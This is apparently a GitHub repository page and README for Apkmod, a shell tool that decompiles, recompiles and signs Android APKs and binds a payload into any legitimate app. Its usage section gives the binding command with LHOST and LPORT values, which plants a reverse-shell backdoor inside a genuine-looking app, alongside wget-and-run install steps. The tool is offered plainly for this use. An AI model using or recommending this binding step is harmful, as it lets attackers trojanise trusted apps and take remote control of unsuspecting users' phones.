Skip to content
Apkmod can decompile, recompile, sign APK, and bind the payload with any legit APP
Ruby Shell
Branch: master
Clone or download
Permalink
Type Name Latest commit message Commit time
Failed to load latest commit information.
.github/ISSUE_TEMPLATE
aapt
patches
scripts
CHANGELOG.md
LICENSE
README.md
apkmod.sh
setup.sh

README.md

Apkmod v1.4

Author : Lokesh @Hax4us

Steps For Installation

  1. First goto home directory cd $HOME
  2. Get the setup script wget https://raw.githubusercontent.com/Hax4us/Apkmod/master/setup.sh
  3. Execute the script sh setup.sh
  4. Now you can execute command apkmod

Usage :

  1. For decompiling apkmod -d /path/to/inapp.apk -o /path/to/outdirectory. It will decompile inapp.apk into outdirectory folder.
  2. For recompiling apkmod -r /path/to/indirectory -o /path/to/outapp.apk. It will recompile indirectory ( where decompiled files are exists ) into outapp.apk.
  3. For signing apkmod -s /path/to/unsignedapp.apk -o /path/to/signedapp.apk. It will sign unsignedapp.apk and saves output ( signed app ) to signedapp.apk.
  4. For binding apkmod -b /path/to/originalApp.apk -o /path/to/binded.apk LHOST=127.0.0.1 LPORT=4444. It will bind payload with originalApp.apk and saves final binded app to binded.apk.
  5. Now you can use a optional option -a to use aapt2 for binding and recompiling. Why aapt2 ? Because some apps can't recompile with aapt but aapt2 can do it. But I can't drop aapt support because some apps can't recompile with aapt2 so first recompile or bind without aapt2 ( -a ) then if you failed then try with aapt2. For example apkmod -a -b /path/to/originalApp.apk -o /path/to/binded.apk LHOST=127.0.0.1 LPORT=4444.

Size Comparision

Size   Apkmod   Third party tools
after installation Around 100 MB Around 700-900 MB

Why Apkmod is extremely small ?

Because it has Alpine instead of Ubuntu, kali, parrot or other glibc based distros.

You can’t perform that action at this time.